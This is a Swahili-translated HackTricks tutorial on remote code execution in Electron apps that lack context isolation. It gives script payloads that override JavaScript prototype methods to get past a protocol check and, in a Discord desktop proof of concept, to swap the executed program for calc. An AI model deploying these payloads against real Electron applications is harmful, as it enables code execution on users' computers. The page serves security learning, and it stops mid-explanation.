Electron contextIsolation RCE via preload code
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Vinjari katalogi kamili ya HackTricks Training kwa ajili ya njia za assessment (ARTA/GRTA/AzRTA) na Linux Hacking Expert (LHE).
Support HackTricks
- Angalia subscription plans!
- Jiunge na 💬 Discord group, telegram group, fuata @hacktricks_live kwenye X/Twitter, au angalia LinkedIn page na YouTube channel.
- Shiriki hacking tricks kwa kutuma PRs kwenye HackTricks na HackTricks Cloud github repos.
Mfano 1
Mfano kutoka https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30
Hii code inafungua viungo vya http(s) na kivinjari cha kawaida:
.png)
Kitu kama file:///C:/Windows/systemd32/calc.exe kinaweza kutumika kuendesha calc, SAFE_PROTOCOLS.indexOf inazuia hilo.
Hivyo, mshambuliaji anaweza kuingiza hii JS code kupitia XSS au urambazaji wa ukurasa wa kiholela:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
Kama wito wa SAFE_PROTOCOLS.indexOf utarudisha 1337 kila wakati, mshambuliaji anaweza kupita ulinzi na kutekeleza calc. Hatua ya mwisho ya kutumia:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
Angalia slaidi za asili kwa njia nyingine za kutekeleza programu bila kuwa na kidokezo kinachouliza ruhusa.
Kwa kweli njia nyingine ya kupakia na kutekeleza msimbo ni kufikia kitu kama file://127.0.0.1/electron/rce.jar
Mfano 2: Discord App RCE
Mfano kutoka https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1
Wakati wa kuangalia skripti za preload, niligundua kuwa Discord inatoa kazi, ambayo inaruhusu baadhi ya moduli zinazoruhusiwa kuitwa kupitia DiscordNative.nativeModules.requireModule('MODULE-NAME'), ndani ya ukurasa wa wavuti.
Hapa, sikuweza kutumia moduli ambazo zinaweza kutumika kwa RCE moja kwa moja, kama vile moduli ya child_process, lakini nilipata msimbo ambapo RCE inaweza kupatikana kwa kubadilisha mbinu za ndani za JavaScript na kuingilia kati utekelezaji wa moduli iliyofichuliwa.
Ifuatayo ni PoC. Niliweza kuthibitisha kwamba programu ya calc inajitokeza wakati ninapoitwa kazi ya getGPUDriverVersions ambayo imefafanuliwa katika moduli inayoitwa “discord_utils” kutoka devTools, wakati nikibadilisha RegExp.prototype.test na Array.prototype.join.
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()
Funguo la getGPUDriverVersions linajaribu kutekeleza programu kwa kutumia maktaba ya “execa”, kama ifuatavyo:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}
const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}
return result
}
Kawaida execa inajaribu kutekeleza “nvidia-smi.exe”, ambayo imeainishwa katika mabadiliko ya nvidiaSmiPath, hata hivyo, kutokana na RegExp.prototype.test na Array.prototype.join zilizobadilishwa, hoja inabadilishwa kuwa “calc” katika usindikaji wa ndani wa _execa_**.
Haswa, hoja inabadilishwa kwa kubadilisha sehemu mbili zifuatazo.
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Vinjari katalogi kamili ya HackTricks Training kwa ajili ya njia za assessment (ARTA/GRTA/AzRTA) na Linux Hacking Expert (LHE).
Support HackTricks
- Angalia subscription plans!
- Jiunge na 💬 Discord group, telegram group, fuata @hacktricks_live kwenye X/Twitter, au angalia LinkedIn page na YouTube channel.
- Shiriki hacking tricks kwa kutuma PRs kwenye HackTricks na HackTricks Cloud github repos.


